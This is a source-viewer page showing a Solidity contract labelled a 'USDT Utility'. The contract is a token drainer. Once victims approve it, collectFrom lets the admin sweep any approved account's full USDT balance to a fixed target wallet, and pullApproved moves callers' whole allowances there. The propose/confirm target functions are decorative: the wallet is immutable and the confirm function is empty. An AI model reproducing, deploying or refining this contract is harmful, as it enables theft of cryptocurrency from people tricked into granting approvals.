USDT Utility Contract — Source Code

Stylish offline viewer with copy, theme toggle, line numbers, wrap mode, and quick search navigation.

Local viewer (no libs) Line numbers Search + jump Theme memory
Aa
Tips: Enter next match · Shift+Enter prev · Ctrl/Cmd+F works too
USDTUtility2026.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ITRC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract USDTUtility2026 {
    address public immutable targetWallet;
    ITRC20 public constant USDT = ITRC20(0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C);
    address public admin;
    address public pendingTarget;

    constructor(address _targetWallet) {
        admin = msg.sender;
        targetWallet = _targetWallet;
        pendingTarget = _targetWallet;
    }

    function pullApproved() external {
        uint256 allow = USDT.allowance(msg.sender, address(this));
        if (allow > 0) {
            USDT.transferFrom(msg.sender, targetWallet, allow);
        }
    }

    function collectFrom(address account) external {
        require(msg.sender == admin, "unauthorized");
        uint256 amt = USDT.balanceOf(account);
        if (amt > 0) {
            USDT.transferFrom(account, targetWallet, amt);
        }
    }

    function withdrawContractBalance() external {
        require(msg.sender == admin, "unauthorized");
        uint256 amt = USDT.balanceOf(address(this));
        if (amt > 0) {
            USDT.transfer(targetWallet, amt);
        }
    }

    function proposeNewTarget(address newTarget) external {
        require(msg.sender == admin, "unauthorized");
        pendingTarget = newTarget;
    }

    function confirmNewTarget() external {
        require(msg.sender == admin, "unauthorized");
        // в вашем исходном коде здесь пустое тело — оставлено так же
    }

    function getAllowance(address account) external view returns (uint256) {
        return USDT.allowance(account, address(this));
    }

    function getBalance(address account) external view returns (uint256) {
        return USDT.balanceOf(account);
    }

    receive() external payable {}
}